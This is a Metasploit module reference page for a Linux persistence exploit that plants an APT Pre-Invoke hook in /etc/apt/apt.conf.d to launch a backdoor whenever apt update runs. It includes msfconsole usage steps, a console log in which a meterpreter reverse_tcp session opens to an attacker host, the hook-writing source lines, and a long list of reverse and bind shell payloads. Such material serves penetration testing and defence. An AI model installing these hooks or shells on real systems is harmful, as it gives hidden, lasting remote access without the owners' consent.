APT Package Manager Persistence - Metasploit
This page contains detailed information about how to use the exploit/linux/local/apt_package_manager_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: APT Package Manager Persistence
Module: exploit/linux/local/apt_package_manager_persistence
Source code: modules/exploits/linux/local/apt_package_manager_persistence.rb
Disclosure date: 1999-03-09
Last modification time: 2020-01-14 20:47:27 +0000
Supported architecture(s): cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. This module creates a pre-invoke hook for APT in apt.conf.d. The hook name syntax is numeric followed by text.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/apt_package_manager_persistence
msf exploit(apt_package_manager_persistence) > show targets
... a list of targets ...
msf exploit(apt_package_manager_persistence) > set TARGET target-id
msf exploit(apt_package_manager_persistence) > show options
... show and set options ...
msf exploit(apt_package_manager_persistence) > set SESSION session-id
msf exploit(apt_package_manager_persistence) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. This module creates a pre-invoke hook for APT in apt.conf.d. The hook name syntax is numeric followed by text.
Verification Steps
- Exploit a box that uses APT
use linux/local/apt_package_manager_persistence
set SESSION <id>
set PAYLOAD cmd/unix/reverse_python
configure the payload as neededexploit
When the system runs apt-get update the payload will launch. You must set handler accordingly.
Options
BACKDOOR_NAME
Name of backdoor executable
HOOKNAME
Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text.
WritableDir
Writable directory for backdoor default is (/usr/local/bin/)
Scenarios
Tested on Ubuntu 18.04.2 LTS
msf5 > use exploit/linux/local/apt_package_manager_persistence
msf5 exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444
[*] Payload handler running as background job 0.
msf5 exploit(linux/local/apt_package_manager_persistence) >
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500
msf5 exploit(linux/local/apt_package_manager_persistence) > set session 1
session => 1
msf5 exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136
lhost => 172.22.222.136
msf5 exploit(linux/local/apt_package_manager_persistence) > set lport 4444
lport => 4444
msf5 exploit(linux/local/apt_package_manager_persistence) > exploit
[*] Attempting to write hook:
[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd
[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9
[*] Backdoor will run on next APT update
msf5 exploit(linux/local/apt_package_manager_persistence) >
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500
msf5 exploit(linux/local/apt_package_manager_persistence) >
Note: Second session comes in after running apt update
on the remote host
Go back to menu.
Msfconsole Usage
Here is how the linux/local/apt_package_manager_persistence exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/apt_package_manager_persistence
[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/apt_package_manager_persistence) > show info
Name: APT Package Manager Persistence
Module: exploit/linux/local/apt_package_manager_persistence
Platform: Linux, Unix
Arch: cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 1999-03-09
Provided by:
Aaron Ringo
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_NAME no Name of binary to write
HOOKNAME no Name of hook file to write
SESSION yes The session to run this module on.
Payload information:
Description:
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. This module creates a pre-invoke
hook for APT in apt.conf.d. The hook name syntax is numeric followed
by text.
Module Options
This is a complete list of options available in the linux/local/apt_package_manager_persistence exploit:
msf6 exploit(linux/local/apt_package_manager_persistence) > show options
Module options (exploit/linux/local/apt_package_manager_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_NAME no Name of binary to write
HOOKNAME no Name of hook file to write
SESSION yes The session to run this module on.
Payload options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/local/apt_package_manager_persistence exploit:
msf6 exploit(linux/local/apt_package_manager_persistence) > show advanced
Module advanced options (exploit/linux/local/apt_package_manager_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 0 no Additional delay in seconds to wait for a session
WritableDir /usr/local/bin/ yes A directory where we can write files
Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/apt_package_manager_persistence module can exploit:
msf6 exploit(linux/local/apt_package_manager_persistence) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/apt_package_manager_persistence exploit:
msf6 exploit(linux/local/apt_package_manager_persistence) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
18 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
19 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
22 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
23 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
24 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
25 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
26 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
27 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
28 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
29 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
30 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
31 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
32 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
33 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
34 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
36 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
39 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
40 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
42 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
43 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
44 payload/generic/custom normal No Custom Payload
45 payload/generic/debug_trap normal No Generic x86 Debug Trap
46 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
47 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
48 payload/generic/tight_loop normal No Generic x86 Tight Loop
49 payload/linux/aarch64/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
50 payload/linux/aarch64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
51 payload/linux/aarch64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
52 payload/linux/aarch64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
53 payload/linux/aarch64/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
54 payload/linux/aarch64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
55 payload/linux/armle/exec normal No Linux Execute Command
56 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
57 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
58 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
59 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
60 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
61 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
62 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
63 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
64 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
65 payload/linux/mipsbe/exec normal No Linux Execute Command
66 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
67 payload/linux/mipsbe/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
68 payload/linux/mipsbe/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
69 payload/linux/mipsbe/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
70 payload/linux/mipsbe/reboot normal No Linux Reboot
71 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
72 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
73 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
74 payload/linux/mipsle/exec normal No Linux Execute Command
75 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
76 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
77 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
78 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
79 payload/linux/mipsle/reboot normal No Linux Reboot
80 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
81 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
82 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
83 payload/linux/ppc/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
84 payload/linux/ppc/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
85 payload/linux/ppc/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
86 payload/linux/ppc/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
87 payload/linux/ppc/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
88 payload/linux/ppc64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
89 payload/linux/ppc64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
90 payload/linux/ppc64le/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
91 payload/linux/ppc64le/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
92 payload/linux/ppc64le/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
93 payload/linux/ppce500v2/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
94 payload/linux/ppce500v2/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
95 payload/linux/ppce500v2/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
96 payload/linux/x64/exec normal No Linux Execute Command
97 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
98 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
99 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
100 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
101 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
102 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
103 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
104 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
105 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
106 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
107 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
108 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
109 payload/linux/x86/chmod normal No Linux Chmod
110 payload/linux/x86/exec normal No Linux Execute Command
111 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
112 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
113 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
114 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
115 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
116 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
117 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
118 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
119 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
120 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
121 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
122 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
123 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
124 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
125 payload/linux/x86/read_file normal No Linux Read File
126 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
127 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
128 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
129 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
130 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
131 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
132 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
133 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
134 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
135 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
136 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
137 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
138 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
139 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/apt_package_manager_persistence exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/apt_package_manager_persistence) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<HOOK_PATH> not writable, or APT is not on system
Here is a relevant code snippet related to the "<HOOK_PATH> not writable, or APT is not on system" error message:
54: end
55:
56: def exploit
57: hook_path = '/etc/apt/apt.conf.d/'
58: unless writable? hook_path
59: fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"
60: end
61: hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
62:
63: backdoor_path = datastore['WritableDir']
64: unless writable? backdoor_path
<BACKDOOR_PATH> is not writable
Here is a relevant code snippet related to the "<BACKDOOR_PATH> is not writable" error message:
60: end
61: hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
62:
63: backdoor_path = datastore['WritableDir']
64: unless writable? backdoor_path
65: fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
66: end
67: backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
68: backdoor_path << backdoor_name
69:
70: print_status('Attempting to write hook:')
Failed to write Hook
Here is a relevant code snippet related to the "Failed to write Hook" error message:
70: print_status('Attempting to write hook:')
71: hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
72: write_file(hook_path, hook_script)
73:
74: unless exist? hook_path
75: fail_with Failure::Unknown, 'Failed to write Hook'
76: end
77: print_status("Wrote #{hook_path}")
78:
79: if payload.arch.first == 'cmd'
80: write_file(backdoor_path, payload.encoded)
Failed to write <BACKDOOR_PATH>
Here is a relevant code snippet related to the "Failed to write <BACKDOOR_PATH>" error message:
81: else
82: write_file(backdoor_path, generate_payload_exe)
83: end
84:
85: unless exist? backdoor_path
86: fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
87: end
88: print_status("Backdoor uploaded #{backdoor_path}")
89: print_status('Backdoor will run on next APT update')
90:
91: # permissions chosen to reflect common perms in /usr/local/bin/
Go back to menu.
Related Pull Requests
- #12832 Merged Pull Request: DisablePayloadHandler replace strings with bools
- #11665 Merged Pull Request: Add Apt package manager persistence module
Go back to menu.
See Also
Check also the following modules related to this module:
- exploit/linux/http/dlink_dir605l_captcha_bof
- exploit/windows/browser/ie_setmousecapture_uaf
- exploit/linux/local/autostart_persistence
- exploit/linux/local/bash_profile_persistence
- exploit/linux/local/cron_persistence
- exploit/linux/local/rc_local_persistence
- exploit/linux/local/service_persistence
- exploit/linux/local/yum_package_manager_persistence
- exploit/osx/local/persistence
- exploit/unix/local/at_persistence
- exploit/windows/local/persistence
- exploit/windows/local/registry_persistence
- exploit/windows/local/s4u_persistence
- exploit/windows/local/vss_persistence
- exploit/windows/local/wmi_persistence
- exploit/windows/local/persistence_image_exec_options
- exploit/windows/local/persistence_service
- post/linux/manage/sshkey_persistence
- post/windows/manage/persistence_exe
- post/windows/manage/sshkey_persistence
- exploit/linux/local/network_manager_vpnc_username_priv_esc
- exploit/linux/http/webmin_package_updates_rce
- exploit/linux/http/webmin_packageup_rce
- exploit/linux/http/atutor_filemanager_traversal
- exploit/linux/http/nexus_repo_manager_el_injection
- exploit/linux/http/webmin_file_manager_rce
- exploit/linux/misc/netsupport_manager_agent
- exploit/unix/webapp/zoneminder_packagecontrol_exec
- exploit/windows/fileformat/ms14_064_packager_python
- exploit/windows/fileformat/ms14_064_packager_run_as_admin
Authors
- Aaron Ringo
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.